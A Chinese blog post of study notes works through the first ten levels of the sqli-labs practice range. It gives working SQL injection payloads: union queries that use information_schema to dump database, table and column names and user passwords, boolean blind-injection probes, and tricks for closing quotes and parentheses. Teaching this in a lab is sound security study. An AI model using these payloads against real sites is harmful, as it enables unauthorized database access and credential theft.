SQL注入-->Day2(“保姆级干货“)

今天上了SQL注入的第二节课,知识量还真不少,理解上还是有一定的难度有点折磨),没事

就让我从小白的视角带大家一起来梳理一下吧          SQL注入-->Day2(“保姆级干货“)_第1张图片

开始之前我们先来讲讲今天的主角information_schema,为什么说它是主角呢?可以看下面的图

SQL注入-->Day2(“保姆级干货“)_第2张图片

可能光从字面上你还感觉不到它的强大,但是我们来通过一个案例,你就会恍然大悟了、

1.sqli靶场第一关

进来之后,我们可以通过改变id来使对应的login_name && Password 发生改变

SQL注入-->Day2(“保姆级干货“)_第3张图片

于是开始我们判断sql注入的步骤

  1. 加个' 发现报错
  2. 再加一个’ 发现不报错 
  3. 再加一个 ‘ 发现报错     -----> 得出是字符型注入

然后就是红队的思路了

  • 先爆出当前数据库的名字 
  • 再根据数据库来爆出表名
  • 再根据表名爆出字段名
  • 最后再爆出数据
  • Warning 在没有授权的情况下只用做到第一步就行了(不然很容易就进去了

然后我们就来一步一步的实现(第一关是没有任何过滤的,所以我们来先展示一下)

1.爆出数据库的名字

这里我们要用到联合查询 (union)但是!!!!

UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集
合中。前提是两个select必有相同列 !!!!!!!!!!

那么我们就要先猜测出他数据库要有多少列,开始构造POC

id=1 ' order by 你枚举的数 --+  //order by直接+数字的话就是按照这个数字的列进行排序

然后我发现当我枚举到4的时候 就会报错(url中%27就是‘   %20就是空格)SQL注入-->Day2(“保姆级干货“)_第4张图片

就是说明它这个数据库的表中有三列!!!,然后我们去找一下能显示在页面上的列

开始用到union !!!

  • 开始猜测之前 我们要知道union会返回两个表,后面的才是我们想要的,所以就要前面的不存在就可以将id置为一个负数,0,很大的数
id=-1'  union select 1,2,3 --+ 

发现只有2,3列会回显到屏幕上SQL注入-->Day2(“保姆级干货“)_第5张图片

所以我们可以选择第三个列作为显示位

id=-1'  union select 1,2,database()  --+ 

发现数据库名字是security

SQL注入-->Day2(“保姆级干货“)_第6张图片         SQL注入-->Day2(“保姆级干货“)_第7张图片

2.再根据数据库来爆出表名

FBI Warning: 前方知识大量出没,请准备好脑子

基本框架肯定是 select ****** form ****** where *****         那我们就一个一个来!!!!!

首先select 后面接的是 表名字,但是不知道啊,那么就要用到information_schema的table_name;

SQL注入-->Day2(“保姆级干货“)_第8张图片 

为了让他展示的更加美观,我们采用group_concat()函数,用来将返回值以逗号形式隔开

所以就有了第一段

select group_concat(table_name) form ****** where******

然后就是第二段,应该是从一个数据库对吧,这里我完全可以直接写security,但是你前面table_name是information_schema里面的得对吧,所以就会报错,可以这样写

select group_concat(table_name) from information_schema.tables where table_schema="security"

这样的意思就是从information_schema的tables中找到表名为security的所有表名了,完整poc:

id=-1' union select 1,2,(select group_concat(table_name)  from information_schema.tables  where table_schema="security"  )--+

就能爆出他的表名了   

SQL注入-->Day2(“保姆级干货“)_第9张图片

3.继续根据表名字爆出字段

还是一部分一部分

先是需要字段的名字

select gruop_concat(column_name) from **** where ***

然后就是补全后面

select group_concat(column_name) from information_schema.colums where  ****

这里想都不用想肯定是users的资料最重要啦,那就爆这个

select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" 

最终的POC

id=-1 ' union select 1,2,(select group_concat(column_name) from   information_schema.columns where table_schema="security" and   table_name="users" )--+

于是就能爆出他的字段了 三个: id username password 

SQL注入-->Day2(“保姆级干货“)_第10张图片

4.爆出他的具体值

知道表名,知道字段,那剩下就简单了!

直接上最终POC(这里的~完全是我为了让他美观一点)

id=0' union select 1,2,(select group_concat(username,"~",password) from users )--+

这样就都爆出来了,这就是最终的目的SQL注入-->Day2(“保姆级干货“)_第11张图片

当然了我再次声明:!!!

没有渗透的权限,或者不是红队的攻防,不允洗做到这一步!!!不然人家是可以报警抓你的!!


学网络安全真的是在法律的边缘徘徊,越界了你就无了


2.第二关--> 数字型注入

可以发现无论加多少个引号,都会报错,那么就说明是数字型(先不考虑过滤)

SQL注入-->Day2(“保姆级干货“)_第12张图片

那就直接构造poc

id=-2 union select 1,user(),database() 

SQL注入-->Day2(“保姆级干货“)_第13张图片

3.给我整个)是吧!

因为小编的mysql没有深入的学 于是在做这一关的时候人快嘛了,于是去审计了一下他的代码

结果发现………… 多了个()       SQL注入-->Day2(“保姆级干货“)_第14张图片

而且

SQL注入-->Day2(“保姆级干货“)_第15张图片

 就是说查询 id=1 id='1' id=(1) id =("1")都是一个值  (66666666666666)学到了!

那就把闭合                                   这也算一种绕waf吧

id=0') union select 1,2,user() --+

SQL注入-->Day2(“保姆级干货“)_第16张图片

4.    ' ?         " √

看一下源代码

如果这关你传入一下代码你就会发现行不通

 0') union select 1,2,user() --+

因为人家闭合的是 " ,所以你要用 "去闭合

id=0") union select 1,2,databse() --+

这样就可以了SQL注入-->Day2(“保姆级干货“)_第17张图片

5.布尔盲注

这一关我们是可以看见它没有回显到屏幕上的!!那我们就可以尝试布尔盲注

可以看见不同的输入的话回显包的length是不同的,而且可以判断出他是字符型

那就开始先尝试他的数据库是多长

?id=1'+and+if(length(database())=1,1,0)=1--+

这句话的意思就是判断数据库的长度是不是1,是一的话整句话正确,否则就不对,那我们就可以对长度进行爆破 

SQL注入-->Day2(“保姆级干货“)_第18张图片

可以爆出数据库名字长度是8

然后我们再对数据库的每一个字进行爆破(这个记得选择cluster bomb的模式)设置好两个payload 

SQL注入-->Day2(“保姆级干货“)_第19张图片

6.   '?    "√ (梅开二度)

抓包’ 开试 ,但是你就会发现一直不对,就算+( 都不对

SQL注入-->Day2(“保姆级干货“)_第20张图片

换个思路" ?? 果然,剩下的就和上面一样了

SQL注入-->Day2(“保姆级干货“)_第21张图片

SQL注入-->Day2(“保姆级干货“)_第22张图片

7. --+你怎么被过滤了

老套路,还是字符型

SQL注入-->Day2(“保姆级干货“)_第23张图片

但是当我想要重蹈覆辙的时候,发现正常来说试不会报错的,那么就是说--+被过滤了

那么我们可以不可以尝试不过滤(先科普一下)在sql中 '1'=1没毛病

SQL注入-->Day2(“保姆级干货“)_第24张图片

那么我们就可以这样构造poc

id=1'+and+if(1=1,1,0)='1

发现不报错,那剩下就和上面一样了,不多赘述

8.????你在考什么

判断完字符型之后,发现他好像不过滤--+,知道最后一步也发现???和第6关一样??

SQL注入-->Day2(“保姆级干货“)_第25张图片

SQL注入-->Day2(“保姆级干货“)_第26张图片    你再考什么????

9.没变化就要时间盲注? NO!!!

抓个包不难发现,虽然页面是没有变化,但是返回包得长度是有变化的

SQL注入-->Day2(“保姆级干货“)_第27张图片

SQL注入-->Day2(“保姆级干货“)_第28张图片

所以这其实也还是一个布尔盲注(长度是707就代表查询正常,从上面分析)

SQL注入-->Day2(“保姆级干货“)_第29张图片

10. '? "√ (byd第三次了)

这一关,我还以为要时间盲注,但是还是想先抓个包试一下SQL注入-->Day2(“保姆级干货“)_第30张图片

SQL注入-->Day2(“保姆级干货“)_第31张图片

这,咋还是这一关卡?? 呃呃不多说

SQL注入-->Day2(“保姆级干货“)_第32张图片

纠正:

前一篇文章我所说的判断注入类型似乎有点bug(我是fw),其实因该是这样

  1. 先在值后面加上 '  "  )   ')   ") 这些
  2. 报错的话就再加上一次,不报错就是数字型(建议在判断多一次1/0),报错的话就是字符型

暂时是这样,随着后面的刷题,有可能会在继续补充

      SQL注入-->Day2(“保姆级干货“)_第33张图片

你可能感兴趣的:(SQL注入,web安全,网络攻击模型)